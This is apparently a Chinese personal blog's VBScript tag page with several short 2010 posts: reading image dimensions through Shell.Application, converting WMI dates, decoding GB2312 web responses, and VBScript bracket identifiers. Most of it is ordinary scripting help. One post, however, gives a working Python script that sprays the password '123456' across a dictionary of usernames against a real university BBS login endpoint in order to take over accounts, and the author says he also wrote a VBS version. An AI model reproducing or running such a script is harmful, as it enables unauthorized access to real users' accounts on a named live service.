文章关键字 ‘VBScript’

用Shell.Application获取图片分辨率

2010年11月23日,星期二

昨天有人在博客里留言:“获取图片分辨率也可以用Shell.Application,我比较喜欢用这个。”简单Google了一下,未果,于是发邮件请教了一下,很快就有了回复。

Path = "C:\test.jpg"
arr = Split(Path,"\")
FileName = arr(Ubound(arr))
FolderPath = Left(Path, Len(Path) - Len(FileName) - 1)
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(FolderPath)
set objFolderItem = objFolder.ParseName(FileName)
Width = objFolder.GetDetailsOf(objFolderItem, 162)
Height = objFolder.GetDetailsOf(objFolderItem, 164)
Msgbox "Width: " & Width & " Height: " & Height

碰到VBS高手了。

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)

将WMI中的DateTime类型转换成VBS时间

2010年11月17日,星期三

WMI中的DateTime数据类型保存的时间格式是UTC,与VBS中的时间类型不同。

有两种方法可以转换,一种是自己写个函数解析:

Function WMIDateStringToDate(DateTime)
    WMIDateStringToDate = _
    CDate(Mid(DateTime, 5, 2) &_
    "/" &_
    Mid(DateTime, 7, 2) &_
    "/" &_
    Left(DateTime, 4) &_
    " " &_
    Mid (DateTime, 9, 2) &_
    ":" &_
    Mid(DateTime, 11, 2) &_
    ":" &_
    Mid(DateTime, 13, 2))
End Function

另一种是使用SWbemDateTime对象

Function WMIDateStringToDate(DateTime)
   Set WbemDateTime = _
   CreateObject("WbemScripting.SWbemDateTime")
   WbemDateTime.Value = DateTime
   WMIDateStringToDate = WbemDateTime.GetVarDate()
End Function

参考链接:It’s About Time (Oh, and About Dates, Too)

VBS实现GB2312转Unicode

2010年11月9日,星期二

今天写了一个类似于下面的程序:

Dim http
Set http = CreateObject("msxml2.xmlhttp")
http.open "GET","http://www.sina.com.cn/",False
http.send
WScript.Echo http.responseText

但是却发现返回的中文都是乱码,看了一下发现新浪的编码竟然是gb2312的,汗,现在都是utf-8编码的时代了。responseText对utf-8编码支持得很好,但是如果是gb2312编码就会返回乱码,有时甚至会报错。无奈,只好用responseBody然后自己转码。

Dim http
Set http = CreateObject("msxml2.xmlhttp")
http.open "GET","http://www.sina.com.cn/",False
http.send
WScript.Echo GB2312ToUnicode(http.responseBody)

(更多…)

VBS里的变量名和标识符(Identifiers)

2010年11月5日,星期五

标识符可以简单的认为就是类名、变量名和过程名。

VBS其实存在两种标识符:

  1. 普通标识符(NORMALIDENTIFIER)
  2. 中括号标识符(BRACKETIDENTIFIER)

但是我看过的VBS书籍上都只讲了普通标识符,没有讲中括号标识符。

普通标识符的规则我们已经很熟悉了:

  • 第一个字符必须是字母。
  • 后面的字符可以是字母、数字和下划线(_)
  • 长度不能超过 255 个字符
  • 不能是VBS保留的关键字

中括号标识符的规则更简单:

  • 中括号括起来的任意Unicode字符(换行、回车和NULL除外)
  • 长度不能超过 255 个字符(可以是0个,不包括中括号)

有了中括号标识符,就可以用任意字符来做变量名了,包括VBS保留字

Dim [if],[昵称]
[if] = "Hello world"
[昵称] = "Demon"
WScript.Echo [if]
WScript.Echo [昵称]

这样给变量或者函数命名的时候就可以使用中文了,看起来比较牛逼。

参考链接:VBScript Trivia: Bracket Identifiers and Reserved Word Incompatibilities